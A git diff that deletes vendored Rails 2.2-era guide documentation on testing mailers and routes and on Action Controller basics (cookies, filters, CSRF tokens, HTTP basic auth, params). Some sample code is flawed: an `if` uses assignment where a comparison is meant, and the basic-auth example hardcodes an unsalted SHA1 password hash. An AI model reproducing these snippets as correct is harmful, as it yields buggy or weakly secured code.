-    assert_redirected_to posts_path
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  private
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> initialize_post
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> posts<span style="color: #990000">(:</span>one<span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_testing_routes">9. Testing Routes</h2>
-<div class="sectionbody">
-<div class="para"><p>Like everything else in you Rails application, it's recommended to test you routes. An example test for a route in the default <tt>show</tt> action of <tt>Posts</tt> controller above should look like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_route_to_post
-  assert_routing <span style="color: #FF0000">'/posts/1'</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"posts"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_testing_your_mailers">10. Testing Your Mailers</h2>
-<div class="sectionbody">
-<div class="para"><p>Testing mailer classes requires some specific tools to do a thorough job.</p></div>
-<h3 id="_keeping_the_postman_in_check">10.1. Keeping the Postman in Check</h3>
-<div class="para"><p>Your <tt>ActionMailer</tt> classes &#8212; like every other part of your Rails application &#8212; should be tested to ensure that it is working as expected.</p></div>
-<div class="para"><p>The goals of testing your <tt>ActionMailer</tt> classes are to ensure that:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-emails are being processed (created and sent)
-</p>
-</li>
-<li>
-<p>
-the email content is correct (subject, sender, body, etc)
-</p>
-</li>
-<li>
-<p>
-the right emails are being sent at the right times
-</p>
-</li>
-</ul></div>
-<h4 id="_from_all_sides">10.1.1. From All Sides</h4>
-<div class="para"><p>There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture &#8212; yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.</p></div>
-<h3 id="_unit_testing">10.2. Unit Testing</h3>
-<div class="para"><p>In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.</p></div>
-<h4 id="_revenge_of_the_fixtures">10.2.1. Revenge of the Fixtures</h4>
-<div class="para"><p>For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output <em>should</em> look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within <tt>test/fixtures</tt> directly corresponds to the name of the mailer. So, for a mailer named <tt>UserMailer</tt>, the fixtures should reside in <tt>test/fixtures/user_mailer</tt> directory.</p></div>
-<div class="para"><p>When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.</p></div>
-<h4 id="_the_basic_test_case">10.2.2. The Basic Test case</h4>
-<div class="para"><p>Here's a unit test to test a mailer named <tt>UserMailer</tt> whose action <tt>invite</tt> is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an <tt>invite</tt> action.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserMailerTest <span style="color: #990000">&lt;</span> ActionMailer<span style="color: #990000">::</span>TestCase
-  tests UserMailer
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_invite
-    <span style="color: #009900">@expected</span><span style="color: #990000">.</span>from    <span style="color: #990000">=</span> <span style="color: #FF0000">'me@example.com'</span>
-    <span style="color: #009900">@expected</span><span style="color: #990000">.</span>to      <span style="color: #990000">=</span> <span style="color: #FF0000">'friend@example.com'</span>
-    <span style="color: #009900">@expected</span><span style="color: #990000">.</span>subject <span style="color: #990000">=</span> <span style="color: #FF0000">"You have been invited by #{@expected.from}"</span>
-    <span style="color: #009900">@expected</span><span style="color: #990000">.</span>body    <span style="color: #990000">=</span> read_fixture<span style="color: #990000">(</span><span style="color: #FF0000">'invite'</span><span style="color: #990000">)</span>
-    <span style="color: #009900">@expected</span><span style="color: #990000">.</span>date    <span style="color: #990000">=</span> Time<span style="color: #990000">.</span>now
-
-    assert_equal <span style="color: #009900">@expected</span><span style="color: #990000">.</span>encoded<span style="color: #990000">,</span> UserMailer<span style="color: #990000">.</span>create_invite<span style="color: #990000">(</span><span style="color: #FF0000">'me@example.com'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'friend@example.com'</span><span style="color: #990000">,</span> <span style="color: #009900">@expected</span><span style="color: #990000">.</span>date<span style="color: #990000">).</span>encoded
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In this test, <tt>@expected</tt> is an instance of <tt>TMail::Mail</tt> that you can use in your tests. It is defined in <tt>ActionMailer::TestCase</tt>. The test above uses <tt>@expected</tt> to construct an email, which it then asserts with email created by the custom mailer. The <tt>invite</tt> fixture is the body of the email and is used as the sample content to assert against. The helper <tt>read_fixture</tt> is used to read in the content from this file.</p></div>
-<div class="para"><p>Here's the content of the <tt>invite</tt> fixture:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>Hi friend@example.com,
-
-You have been invited.
-
-Cheers!</tt></pre>
-</div></div>
-<div class="para"><p>This is the right time to understand a little more about writing tests for your mailers. The line <tt>ActionMailer::Base.delivery_method = :test</tt> in <tt>config/environments/test.rb</tt> sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (<tt>ActionMailer::Base.deliveries</tt>).</p></div>
-<div class="para"><p>However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.</p></div>
-<h3 id="_functional_testing">10.3. Functional Testing</h3>
-<div class="para"><p>Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserControllerTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>TestCase
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_invite_friend
-    assert_difference <span style="color: #FF0000">'ActionMailer::Base.deliveries.size'</span><span style="color: #990000">,</span> <span style="color: #990000">+</span><span style="color: #993399">1</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-      post <span style="color: #990000">:</span>invite_friend<span style="color: #990000">,</span> <span style="color: #990000">:</span>email <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'friend@example.com'</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-    invite_email <span style="color: #990000">=</span> ActionMailer<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>deliveries<span style="color: #990000">.</span>first
-
-    assert_equal invite_email<span style="color: #990000">.</span>subject<span style="color: #990000">,</span> <span style="color: #FF0000">"You have been invited by me@example.com"</span>
-    assert_equal invite_email<span style="color: #990000">.</span>to<span style="color: #990000">[</span><span style="color: #993399">0</span><span style="color: #990000">],</span> <span style="color: #FF0000">'friend@example.com'</span>
-    assert_match <span style="color: #FF6600">/Hi friend@example.com/</span><span style="color: #990000">,</span> invite_email<span style="color: #990000">.</span>body
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_other_testing_approaches">11. Other Testing Approaches</h2>
-<div class="sectionbody">
-<div class="para"><p>The built-in <tt>test/unit</tt> based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://avdi.org/projects/nulldb/">NullDB</a>, a way to speed up testing by avoiding database use.
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/thoughtbot/factory_girl/tree/master">Factory Girl</a>, as replacement for fixtures.
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.thoughtbot.com/projects/shoulda">Shoulda</a>, an extension to <tt>test/unit</tt> with additional helpers, macros, and assertions.
-</p>
-</li>
-<li>
-<p>
-link: <a href="http://rspec.info/">RSpec</a>, a behavior-driven development framework
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_changelog">12. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-November 13, 2008: Revised based on feedback from Pratik Naik by <a href="../authors.html#asurve">Akshay Surve</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-October 14, 2008: Edit and formatting pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-October 12, 2008: First draft by <a href="../authors.html#asurve">Akshay Surve</a> (not yet approved for publication)
-</p>
-</li>
-</ul></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt
deleted file mode 100644
index 4ee16af1..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17[Lighthouse ticket]
-
-* November 4, 2008: First release version by Tore Darrell
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt
deleted file mode 100644
index 88b99de3..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt
+++ /dev/null
@@ -1,34 +0,0 @@
-== Cookies ==
-
-Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash:
-
-[source, ruby]
------------------------------------------
-class CommentsController < ApplicationController
-
-  def new
-    #Auto-fill the commenter's name if it has been stored in a cookie
-    @comment = Comment.new(:name => cookies[:commenter_name])
-  end
-
-  def create
-    @comment = Comment.new(params[:comment])
-    if @comment.save
-      flash[:notice] = "Thanks for your comment!"
-      if params[:remember_name]
-        # Remember the commenter's name
-        cookies[:commenter_name] = @comment.name
-      else
-        # Don't remember, and delete the name if it has been remembered before
-        cookies.delete(:commenter_name)
-      end
-      redirect_to @comment.article
-    else
-      render :action => "new"
-    end
-  end
-
-end
------------------------------------------
-
-Note that while for session values, you set the key to `nil`, to delete a cookie value, you should use `cookies.delete(:key)`.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt
deleted file mode 100644
index 87e3d39c..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt
+++ /dev/null
@@ -1,32 +0,0 @@
-== Request Forgery Protection ==
-
-Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
-
-If you generate a form like this:
-
-[source, ruby]
------------------------------------------
-<% form_for @user do |f| -%>
-  <%= f.text_field :username %>
-  <%= f.text_field :password -%>
-<% end -%>
------------------------------------------
-
-You will see how the token gets added as a hidden field:
-
-[source, html]
------------------------------------------
-<form action="/users/1" method="post">
-<div><!-- ... --><input type="hidden" value="67250ab105eb5ad10851c00a5621854a23af5489" name="authenticity_token"/></div>
-<!-- Fields -->
-</form>
------------------------------------------
-
-Rails adds this token to every form that's generated using the link:../form_helpers.html[form helpers], so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:
-
-.Add a JavaScript variable containing the token for use with Ajax
------------------------------------------
-<%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %>
------------------------------------------
-
-The link:../security.html[Security Guide] has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt
deleted file mode 100644
index df67977e..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt
+++ /dev/null
@@ -1,119 +0,0 @@
-== Filters ==
-
-Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
-
-[source, ruby]
----------------------------------
-class ApplicationController < ActionController::Base
-
-private
-
-  def require_login
-    unless logged_in?
-      flash[:error] = "You must be logged in to access this section"
-      redirect_to new_login_url # Prevents the current action from running
-    end
-  end
-
-  # The logged_in? method simply returns true if the user is logged in and
-  # false otherwise. It does this by "booleanizing" the current_user method
-  # we created previously using a double ! operator. Note that this is not
-  # common in Ruby and is discouraged unless you really mean to convert something
-  # into true or false.
-  def logged_in?
-    !!current_user
-  end
-
-end
----------------------------------
-
-The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the `before_filter` method:
-
-[source, ruby]
----------------------------------
-class ApplicationController < ActionController::Base
-
-  before_filter :require_login
-
-end
----------------------------------
-
-In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_filter` :
-
-[source, ruby]
----------------------------------
-class LoginsController < Application
-
-  skip_before_filter :require_login, :only => [:new, :create]
-
-end
----------------------------------
-
-Now, the +LoginsController+'s "new" and "create" actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
-
-=== After Filters and Around Filters ===
-
-In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.
-
-[source, ruby]
----------------------------------
-# Example taken from the Rails API filter documentation:
-# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html
-class ApplicationController < Application
-
-  around_filter :catch_exceptions
-
-private
-
-  def catch_exceptions
-    yield
-  rescue => exception
-    logger.debug "Caught exception! #{exception}"
-    raise
-  end
-
-end
----------------------------------
-
-=== Other Ways to Use Filters ===
-
-While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
-
-The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block:
-
-[source, ruby]
----------------------------------
-class ApplicationController < ActionController::Base
-
-  before_filter { |controller| redirect_to new_login_url unless controller.send(:logged_in?) }
-
-end
----------------------------------
-
-Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
-
-The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
-
-[source, ruby]
----------------------------------
-class ApplicationController < ActionController::Base
-
-  before_filter LoginFilter
-
-end
-
-class LoginFilter
-
-  def self.filter(controller)
-    unless logged_in?
-      controller.flash[:error] = "You must be logged in to access this section"
-      controller.redirect_to controller.new_login_url
-    end
-  end
-
-end
----------------------------------
-
-Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action.
-
-The Rails API documentation has link:http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html[more information on using filters].
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt
deleted file mode 100644
index 8deb40c2..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-== HTTP Basic Authentication ==
-
-Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `authenticate_or_request_with_http_basic`.
-
-[source, ruby]
--------------------------------------
-class AdminController < ApplicationController
-
-  USERNAME, PASSWORD = "humbaba", "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"
-
-  before_filter :authenticate
-
-private
-
-  def authenticate
-    authenticate_or_request_with_http_basic do |username, password|
-      username == USERNAME && Digest::SHA1.hexdigest(password) == PASSWORD
-    end
-  end
-
-end
--------------------------------------
-
-With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt
deleted file mode 100644
index 6865ace9..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-Action Controller basics
-=======================
-
-In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
-
-* Follow the flow of a request through a controller
-* Understand why and how to store data in the session or cookies
-* Work with filters to execute code during request processing
-* Use Action Controller's built-in HTTP authentication
-* Stream data directly to the user's browser
-* Filter sensitive parameters so they do not appear in the application's log
-* Deal with exceptions that may be raised during request processing
-
-include::introduction.txt[]
-
-include::methods.txt[]
-
-include::params.txt[]
-
-include::session.txt[]
-
-include::cookies.txt[]
-
-include::filters.txt[]
-
-include::verification.txt[]
-
-include::csrf.txt[]
-
-include::request_response_objects.txt[]
-
-include::http_auth.txt[]
-
-include::streaming.txt[]
-
-include::parameter_filtering.txt[]
-
-include::rescue.txt[]
-
-include::changelog.txt[]
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt
deleted file mode 100644
index 6ea217db..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-== What Does a Controller do? ==
-
-Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.
-
-For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
-
-A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
-
-NOTE: For more details on the routing process, see link:../routing_outside_in.html[Rails Routing from the Outside In].
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt
deleted file mode 100644
index 68204c18..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt
+++ /dev/null
@@ -1,39 +0,0 @@
-== Methods and Actions ==
-
-A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action.
-
-[source, ruby]
-----------------------------------------------
-class ClientsController < ApplicationController
-
-  # Actions are public methods
-  def new
-  end
-
-  # Action methods are responsible for producing output
-  def edit
-  end
-
-# Helper methods are private and can not be used as actions
-private
-
-  def foo
-  end
-
-end
-----------------------------------------------
-
-There's no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide.
-
-As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of ClientsController and run the `new` method. Note that the empty method from the example above could work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new Client:
-
-[source, ruby]
-----------------------------------------------
-def new
-  @client = Client.new
-end
-----------------------------------------------
-
-The link:../layouts_and_rendering.html[Layouts & rendering guide] explains this in more detail.
-
-ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt
deleted file mode 100644
index e29f6310..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-== Parameter Filtering ==
-
-Rails keeps a log file for each environment (development, test and production) in the "log" folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The `filter_parameter_logging` method can be used to filter out sensitive information from the log. It works by replacing certain values in the `params` hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":
-
-[source, ruby]
--------------------------
-class ApplicationController < ActionController::Base
-
-  filter_parameter_logging :password
-
-end
--------------------------
-
-The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in return and replaces those for which the block returns true.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt
deleted file mode 100644
index e8a2d3d0..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt
+++ /dev/null
@@ -1,93 +0,0 @@
-== Parameters ==
-
-You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller:
-
-[source, ruby]
--------------------------------------
-class ClientsController < ActionController::Base
-
-  # This action uses query string parameters because it gets run by a HTTP 
-  # GET request, but this does not make any difference to the way in which 
-  # the parameters are accessed. The URL for this action would look like this 
-  # in order to list activated clients: /clients?status=activated
-  def index
-    if params[:status] = "activated"
-      @clients = Client.activated
-    else
-      @clients = Client.unativated
-    end
-  end
-
-  # This action uses POST parameters. They are most likely coming from an HTML
-  # form which the user has submitted. The URL for this RESTful request will
-  # be "/clients", and the data will be sent as part of the request body.
-  def create
-    @client = Client.new(params[:client])
-    if @client.save
-      redirect_to @client
-    else
-      # This line overrides the default rendering behavior, which would have been
-      # to render the "create" view.
-      render :action => "new"
-    end
-  end
-
-end
--------------------------------------
-
-=== Hash and Array Parameters ===
-
-The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:
-
--------------------------------------
-GET /clients?ids[]=1&ids[]=2&ids[]=3
--------------------------------------
-
-NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
-
-The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
-
-To send a hash you include the key name inside the brackets:
-
--------------------------------------
-<form action="/clients" method="post">
-  <input type="text" name="client[name]" value="Acme" />
-  <input type="text" name="client[phone]" value="12345" />
-  <input type="text" name="client[address][postcode]" value="12345" />
-  <input type="text" name="client[address][city]" value="Carrot City" />
-</form>
--------------------------------------
-
-The value of `params[:client]` when this form is submitted  will be `{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}`. Note the nested hash in `params[:client][:address]`.
-
-Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys.
-
-=== Routing Parameters ===
-
-The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:
-
-[source, ruby]
-------------------------------------
-# ...
-map.connect "/clients/:status", :controller => "clients", :action => "index", :foo => "bar"
-# ...
-------------------------------------
-
-In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string in the same way `params[:action]` will contain "index".
-
-=== `default_url_options` ===
-
-You can set global default parameters that will be used when generating URLs with `default_url_options`. To do this, define a method with that name in your controller:
-
-------------------------------------
-class ApplicationController < ActionController::Base
-
-  #The options parameter is the hash passed in to +url_for+
-  def default_url_options(options)
-    {:locale => I18n.locale}
-  end
-
-end
-------------------------------------
-
-These options will be used as a starting-point when generating, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt
deleted file mode 100644
index 07a8ec25..00000000
--- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-== The +request+ and +response+ Objects ==
-
-In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of AbstractRequest and the `response` method returns a +response+ object representing what is going to be sent back to the client.
-
-=== The +request+ Object ===
-
-The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the link:http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html[API documentation]. Among the properties that you can access on this object are:
-
- * host - The hostname used for this request.
- * domain - The hostname without the first segment (usually "www").
- * format - The content type requested by the client.
- * method - The HTTP method used for the request.
- * get?, post?, put?, delete?, head? - Returns true if the HTTP method is get/post/put/delete/head.
- * headers - Returns a hash containing the headers associated with the request.
- * port - The port number (integer) used for the request.
- * protocol - The protocol used for the request.
- * query_string - The query string part of the URL - everything after "?".
- * remote_ip - The IP address of the client.
- * url - The entire URL used for the request.
-
-==== +path_parameters+, +query_parameters+ and +request_parameters+ ====
-
-Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
-
-=== The +response+ Object ===
-
-The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
-
- * body - This is the string of data being sent back to the client. This is most often HTML.
- * status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found.
- * location - The URL the client is being redirected to, if any.
- * content_type - The content type of the response.
- * charset - The character set being used for the response. Default is "utf8".
- * headers - Headers used for the response.
-
-==== Setting Custom Headers ====
-
-If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to `headers` with the name and value:
-
-[source, ruby]
--------------------------------------
-response.headers["Content-Type"] = "application/pdf"
--------------------------------------
